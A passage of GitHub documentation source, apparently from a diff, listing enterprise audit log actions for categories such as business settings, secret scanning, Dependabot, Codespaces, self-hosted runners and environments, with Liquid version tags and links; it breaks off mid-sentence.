`business.add_billing_manager` | A billing manager was added to an enterprise. +{%- endif %} +| `business.add_organization` | An organization was added to an enterprise. +{%- ifversion ghec %} +| `business.add_support_entitlee` | A support entitlement was added to a member of an enterprise. For more information, see "[Managing support entitlements for your enterprise](/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." +{%- endif %} +{%- ifversion ghes or ghae %} +| `business.advanced_security_policy_update` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} created, updated, or removed a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)." +{%- endif %} +{%- ifversion ghec %} +| `business.cancel_admin_invitation` | An invitation for someone to be an owner{% ifversion ghes %} or site administrator{% endif %} of an enterprise was canceled. +| `business.cancel_billing_manager_invitation` | An invitation for someone to be an billing manager of an enterprise was canceled. +{%- endif %} +{%- ifversion ghes %} +| `business.clear_actions_settings` | An enterprise owner or site administrator cleared {% data variables.product.prodname_actions %} policy settings for an enterprise. For more information, see "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)." +{%- endif %} +| `business.clear_default_repository_permission` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the base repository permission policy setting for an enterprise. For more information, see "[Enforcing a policy for base repository permissions](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-base-repository-permissions)." +| `business.clear_members_can_create_repos` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)." +| `business.create` | An enterprise was created. +{%- ifversion ghec %} +| `business.disable_saml` | SAML single sign-on was disabled for an enterprise. +{%- endif %} +| `business.disable_two_factor_requirement` | The requirement for members to have two-factor authentication enabled to access an enterprise was disabled. +{%- ifversion ghec %} +| `business.enable_saml` | SAML single sign-on was enabled for an enterprise. +{%- endif %} +| `business.enable_two_factor_requirement` | The requirement for members to have two-factor authentication enabled to access an enterprise was enabled. +{%- ifversion ghec %} +| `business.enterprise_server_license_download` | A {% data variables.product.prodname_ghe_server %} license was downloaded. +| `business.import_license_usage` | License usage information was imported from a {% data variables.product.prodname_ghe_server %} instance to an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. +| `business.invite_admin` | An invitation for someone to be an enterprise owner{% ifversion ghes %} or site administrator{% endif %} of an enterprise was sent. +| `business.invite_billing_manager` | An invitation for someone to be an billing manager of an enterprise was sent. +{%- endif %} +| `business.members_can_update_protected_branches.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} unset a policy for whether members of an enterprise can update protected branches on repositories for individual organizations. Organization administrators can choose whether to allow updating protected branches settings. +| `business.members_can_update_protected_branches.disable` | The ability for enterprise members to update branch protection rules was disabled. Only enterprise owners can update protected branches. +| `business.members_can_update_protected_branches.enable` | The ability for enterprise members to update branch protection rules was enabled. Enterprise owners and members can update protected branches. +| `business.remove_admin` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} was removed from an enterprise. +{%- ifversion ghes %} +| `business.referrer_override_enable` | An enterprise owner or site administrator enabled the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." +| `business.referrer_override_disable` | An enterprise owner or site administrator disabled the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." +{%- endif %} +{%- ifversion ghec %} +| `business.remove_billing_manager` | A billing manager was removed from an enterprise. +| `business.remove_member` | A member was removed from an enterprise. +{%- endif %} +| `business.remove_organization` | An organization was removed from an enterprise. +{%- ifversion ghec %} +| `business.remove_support_entitlee` | A support entitlement was removed from a member of an enterprise. For more information, see "[Managing support entitlements for your enterprise](/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." +{%- endif %} +| `business.rename_slug` | The slug for the enterprise URL was renamed. +{%- ifversion ghec %} +| `business.revoke_external_identity` | The external identity for a member in an enterprise was revoked. +| `business.revoke_sso_session` | The SAML single sign-on session for a member in an enterprise was revoked. +{%- endif %} +{%- ifversion ghec %} +| `business.set_actions_fork_pr_approvals_policy` | The setting for requiring approvals for workflows from public forks was changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise)." +{%- endif %} +| `business.set_actions_retention_limit` | The retention period for {% data variables.product.prodname_actions %} artifacts and logs was changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in an enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)." +{%- ifversion ghec or ghes %} +| `business.set_fork_pr_workflows_policy` | The policy for workflows on private repository forks was changed. For more information, see "{% ifversion ghec %}[Enforcing policies for {% data variables.product.prodname_actions %} in an enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories){% else ifversion ghes > 2.22 %}[Enabling workflows for private repository forks](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise#enabling-workflows-for-private-repository-forks){% endif %}." +{%- endif %} +{%- ifversion audit-log-sso-response-events %} +|`business.sso_response` | A SAML single sign-on (SSO) response was generated when a member attempted to authenticate with your enterprise. This event is only available via audit log streaming and the REST API. +{%- endif %} +{%- ifversion ghes %} +| `business.update_actions_settings` | An enterprise owner or site administrator updated {% data variables.product.prodname_actions %} policy settings for an enterprise. For more information, see "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)." +{%- endif %} +| `business.update_default_repository_permission` | The base repository permission setting was updated for all organizations in an enterprise. For more information, see "[Enforcing a policy for base repository permissions](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-base-repository-permissions)." +| `business.update_member_repository_creation_permission` | The repository creation setting was updated for an enterprise. For more information, see "[Enforcing a policy for repository creation](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)." +| `business.update_member_repository_invitation_permission` | The policy setting for enterprise members inviting outside collaborators to repositories was updated. For more information, see "[Enforcing a policy for inviting outside collaborators to repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories)." +{%- ifversion ghec %} +| `business.update_saml_provider_settings` | The SAML single sign-on provider settings for an enterprise were updated. +{%- endif %} + +{% ifversion code-security-audit-log-events %} + +## `business_advanced_security` category actions + +| Action | Description +|--------|------------- +| `business_advanced_security.disabled` | {% data variables.product.prodname_GH_advanced_security %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_advanced_security.enabled` | {% data variables.product.prodname_GH_advanced_security %} was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_advanced_security.disabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_advanced_security.enabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was enabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." + +{% endif %} + +{% ifversion code-security-audit-log-events %} + +## `business_secret_scanning` category actions + +| Action | Description +|--------|------------- +| `business_secret_scanning.disable` | {% data variables.product.prodname_secret_scanning_caps %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning.enable` | {% data variables.product.prodname_secret_scanning_caps %} was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning.disabled_for_new_repos` | {% data variables.product.prodname_secret_scanning_caps %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning.enabled_for_new_repos` | {% data variables.product.prodname_secret_scanning_caps %} was enabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." + +{% endif %} + +{%- ifversion secret-scanning-audit-log-custom-patterns %} +## `business_secret_scanning_custom_pattern` category actions + +Action | Description +----------------------------- | ----------------------------------------------- +| `business_secret_scanning_custom_pattern.create` | An enterprise-level custom pattern is published for secret scanning. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-enterprise-account)." +| `business_secret_scanning_custom_pattern.delete` | An enterprise-level custom pattern is removed from secret scanning. +| `business_secret_scanning_custom_pattern.update` | Changes to an enterprise-level custom pattern are saved for secret scanning. +{%- endif %} + +{% ifversion code-security-audit-log-events %} + +## `business_secret_scanning_push_protection` category actions + +| Action | Description +|--------|------------- +| `business_secret_scanning_push_protection.disable` | Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning_push_protection.enable` | Push protection for {% data variables.product.prodname_secret_scanning %} was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning_push_protection.disabled_for_new_repos` | Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning_push_protection.enabled_for_new_repos` | Push protection for {% data variables.product.prodname_secret_scanning %} was enabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." + +{% endif %} + +{% ifversion code-security-audit-log-events %} + +## `business_secret_scanning_push_protection_custom_message` category actions + +| Action | Description +|--------|------------- +| `business_secret_scanning_push_protection_custom_message.disable` | The custom message triggered by an attempted push to a push-protected repository was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning_push_protection_custom_message.enable` | The custom message triggered by an attempted push to a push-protected repository was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +| `business_secret_scanning_push_protection_custom_message.update` | The custom message triggered by an attempted push to a push-protected repository was updated for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." + +{% endif %} + +## `checks` category actions + +| Action | Description +|--------|------------- +| `checks.auto_trigger_disabled` | Automatic creation of check suites was disabled on a repository in the organization or enterprise. For more information, see "[Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)." +| `checks.auto_trigger_enabled` | Automatic creation of check suites was enabled on a repository in the organization or enterprise. For more information, see "[Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)." +{%- ifversion fpt or ghec %} +| `checks.delete_logs` | Logs in a check suite were deleted. +{%- endif %} + +{%- ifversion fpt or ghec %} +## `codespaces` category actions + +| Action | Description +|--------|------------- +| `codespaces.connect` | A codespace was started. +| `codespaces.create` | A user [created a codespace](/github/developing-online-with-codespaces/creating-a-codespace). +| `codespaces.destroy` | A user [deleted a codespace](/github/developing-online-with-codespaces/deleting-a-codespace). +| `codespaces.allow_permissions` | A codespace using custom permissions from its `devcontainer.json` file was launched. +| `codespaces.attempted_to_create_from_prebuild` | An attempt to create a codespace from a prebuild was made. +| `codespaces.create_an_org_secret` | A user created an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces) +| `codespaces.update_an_org_secret` | A user updated an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces). +| `codespaces.remove_an_org_secret` | A user removed an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces). +| `codespaces.manage_access_and_security` | A user updated [which repositories a codespace can access](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). +{%- endif %} + +{%- ifversion fpt or ghec %} +## `commit_comment` category actions + +| Action | Description +|--------|------------- +| `commit_comment.destroy` | A commit comment was deleted. +| `commit_comment.update` | A commit comment was updated. +{%- endif %} + +{%- ifversion ghes %} +## `config_entry` category actions + +| Action | Description +|--------|------------- +| `config_entry.create` | A configuration setting was created. These events are only visible in the site admin audit log. The type of events recorded relate to:
- Enterprise settings and policies
- Organization and repository permissions and settings
- Git, Git LFS, {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_registry %}, project, and code security settings. +| `config_entry.destroy` | A configuration setting was deleted. These events are only visible in the site admin audit log. The type of events recorded relate to:
- Enterprise settings and policies
- Organization and repository permissions and settings
- Git, Git LFS, {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_registry %}, project, and code security settings. +| `config_entry.update` | A configuration setting was edited. These events are only visible in the site admin audit log. The type of events recorded relate to:
- Enterprise settings and policies
- Organization and repository permissions and settings
- Git, Git LFS, {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_registry %}, project, and code security settings. +{%- endif %} + +## `dependabot_alerts` category actions + +| Action | Description +|--------|------------- +| `dependabot_alerts.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `dependabot_alerts.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. + +## `dependabot_alerts_new_repos` category actions + +| Action | Description +|--------|------------- +| `dependabot_alerts_new_repos.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `dependabot_alerts_new_repos.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. + +## `dependabot_repository_access`category actions + +| Action | Description +|--------|------------- +| `dependabot_repository_access.repositories_updated` | The repositories that {% data variables.product.prodname_dependabot %} can access were updated. + +{%- ifversion fpt or ghec or ghes %} +## `dependabot_security_updates` category actions + +| Action | Description +|--------|------------- +| `dependabot_security_updates.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `dependabot_security_updates.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. + +## `dependabot_security_updates_new_repos` category actions + +| Action | Description +|--------|------------- +| `dependabot_security_updates_new_repos.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `dependabot_security_updates_new_repos.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. +{%- endif %} + +## `dependency_graph` category actions + +| Action | Description +|--------|------------- +| `dependency_graph.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled the dependency graph for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `dependency_graph.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled the dependency graph for all existing repositories. + +## `dependency_graph_new_repos` category actions + +| Action | Description +|--------|------------- +| `dependency_graph_new_repos.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled the dependency graph for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `dependency_graph_new_repos.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled the dependency graph for all new repositories. + +{%- ifversion fpt or ghec %} +## `discussion` category actions + +| Action | Description +|--------|------------- +| `discussion.destroy` | A team discussion was deleted. + +## `discussion_comment` category actions + +| Action | Description +|--------|------------- +| `discussion_comment.destroy` | A [comment on a team discussion post was deleted](/communities/moderating-comments-and-conversations/managing-disruptive-comments#deleting-a-comment). +| `discussion_comment.update` | A [comment on a team discussion post was edited](/communities/moderating-comments-and-conversations/managing-disruptive-comments#editing-a-comment). + +## `discussion_post` category actions + +| Action | Description +|--------|------------- +| `discussion_post.destroy` | A [team discussion post was deleted](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion). +| `discussion_post.update` | A [team discussion post was edited](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion). + +## `discussion_post_reply` category actions + +| Action | Description +|--------|------------- +| `discussion_post_reply.destroy` | A [reply to a team discussion post was deleted](/communities/moderating-comments-and-conversations/managing-disruptive-comments#deleting-a-comment). +| `discussion_post_reply.update` | A [reply to a team discussion post was edited](/communities/moderating-comments-and-conversations/managing-disruptive-comments#editing-a-comment). +{%- endif %} + +{%- ifversion ghec or ghes %} +## `dotcom_connection` category actions + +| Action | Description +|--------|------------- +| `dotcom_connection.create` | A {% data variables.product.prodname_github_connect %} connection to {% data variables.product.prodname_dotcom_the_website %} was created. +| `dotcom_connection.destroy` | A {% data variables.product.prodname_github_connect %} connection to {% data variables.product.prodname_dotcom_the_website %} was deleted. +| `dotcom_connection.token_updated` | The {% data variables.product.prodname_github_connect %} connection token for {% data variables.product.prodname_dotcom_the_website %} was updated. +| `dotcom_connection.upload_license_usage` | {% data variables.product.prodname_ghe_server %} license usage was manually uploaded to {% data variables.product.prodname_ghe_cloud %}. +| `dotcom_connection.upload_usage_metrics` | {% data variables.product.prodname_ghe_server %} usage metrics were uploaded to {% data variables.product.prodname_dotcom_the_website %}. +{%- endif %} + +## `enterprise` category actions + +| Action | Description +|--------|------------- +| `enterprise.config.disable_anonymous_git_access` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled anonymous Git read access for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +| `enterprise.config.enable_anonymous_git_access` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled anonymous Git read access for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +| `enterprise.config.lock_anonymous_git_access` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} locked anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +| `enterprise.config.unlock_anonymous_git_access` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} unlocked anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +| `enterprise.register_self_hosted_runner` | A new {% data variables.product.prodname_actions %} self-hosted runner was registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `enterprise.remove_self_hosted_runner` | A {% data variables.product.prodname_actions %} self-hosted runner was removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." +| `enterprise.runner_group_created` | A {% data variables.product.prodname_actions %} self-hosted runner group was created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `enterprise.runner_group_removed` | A {% data variables.product.prodname_actions %} self-hosted runner group was removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `enterprise.runner_group_renamed` | A {% data variables.product.prodname_actions %} self-hosted runner group was renamed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `enterprise.runner_group_updated` | The configuration of a {% data variables.product.prodname_actions %} self-hosted runner group was changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `enterprise.runner_group_runner_removed` | The REST API was used to remove a {% data variables.product.prodname_actions %} self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." +| `enterprise.runner_group_runners_added` | A {% data variables.product.prodname_actions %} self-hosted runner was added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). +| `enterprise.runner_group_runners_updated`| A {% data variables.product.prodname_actions %} runner group's list of members was updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +{%- ifversion ghec %} +| `enterprise.runner_group_visiblity_updated` | The visibility of a {% data variables.product.prodname_actions %} self-hosted runner group was updated via the REST API. For more information, see "[Update a self-hosted runner group for an organization](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization)." +{%- endif %} +{%- ifversion ghec or ghes or ghae %} +| `enterprise.self_hosted_runner_online` | The {% data variables.product.prodname_actions %} runner application was started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_offline` | The {% data variables.product.prodname_actions %} runner application was stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +{%- endif %} +{%- ifversion ghec or ghes %} +| `enterprise.self_hosted_runner_updated` | The {% data variables.product.prodname_actions %} runner application was updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +{%- endif %} + +{%- ifversion ghec %} +## `enterprise_domain` category actions + +| Action | Description +|--------|------------- +| `enterprise_domain.approve` | An enterprise domain was approved for an enterprise. For more information, see "[Approving a domain for your enterprise account](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#approving-a-domain-for-your-enterprise-account)." +| `enterprise_domain.create` | An enterprise domain was added to an enterprise. For more information, see "[Verifying a domain for your enterprise account](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#verifying-a-domain-for-your-enterprise-account)." +| `enterprise_domain.destroy` | An enterprise domain was removed from an enterprise. For more information, see "[Removing an approved or verified domain](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#removing-an-approved-or-verified-domain)." +| `enterprise_domain.verify` | An enterprise domain was verified for an enterprise. For more information, see "[Verifying a domain for your enterprise account](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#verifying-a-domain-for-your-enterprise-account)." + +## `enterprise_installation` category actions + +| Action | Description +|--------|------------- +| `enterprise_installation.create` | The {% data variables.product.prodname_github_app %} associated with an {% data variables.product.prodname_github_connect %} enterprise connection was created. +| `enterprise_installation.destroy` | The {% data variables.product.prodname_github_app %} associated with an {% data variables.product.prodname_github_connect %} enterprise connection was deleted. +| `enterprise_installation.token_updated` | The token belonging to {% data variables.product.prodname_github_app %} associated with an {% data variables.product.prodname_github_connect %} enterprise connection was updated. +{%- endif %} + +{%- ifversion fpt or ghec %} +## `environment` category actions + +| Action | Description +|--------|------------- +| `environment.add_protection_rule` | A {% data variables.product.prodname_actions %} environment protection rule was created via the API. For more information, see "[Environment protection rules](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-protection-rules)." +| `environment.create_actions_secret` | A secret was created for a {% data variables.product.prodname_actions %} environment via the API. For more information, see "[Environment secrets](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)." +| `environment.delete` | An environment was deleted via the API. For more information, see "[Deleting an environment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#deleting-an-environment)." +| `environment.remove_actions_secret` | A secret was deleted for a {% data variables.product.prodname_actions %} environment via the API. For more information, see "[Environment secrets](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)." +| `environment.remove_protection_rule` | A {% data variables.product.prodname_actions %} environment protection rule was deleted via the API. For more information, see "[Environment protection rules](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-protection-rules)." +| `environment.update_actions_secret` | A secret was updated for a {% data variables.product.prodname_actions %} environment via the API. For more information, see "[Environment secrets](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)." +| `environment.update_protection_rule` | A {% data variables.product.prodname_actions %} environment protection rule was updated via the API. For more information, see "[Environment protection rules](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-protection-rules)." +{%- endif %} + +{%- ifversion ghae %} +## `external_group` category actions + +| Action | Description +|--------|------------- +| `external_group.delete` | An Okta group was deleted. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +| `external_group.link` | An Okta group was mapped to a {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +| `external_group.provision` | An Okta group was mapped to a team on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +| `external_group.unlink` | An Okta group was unmapped from a {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +| `external_group.update` | An Okta group's settings were updated. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." + +## `external_identity` category actions +| Action | Description +|--------|------------- +| `external_identity.deprovision` | A user was removed from an Okta group and was subsequently deprovisioned from {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to 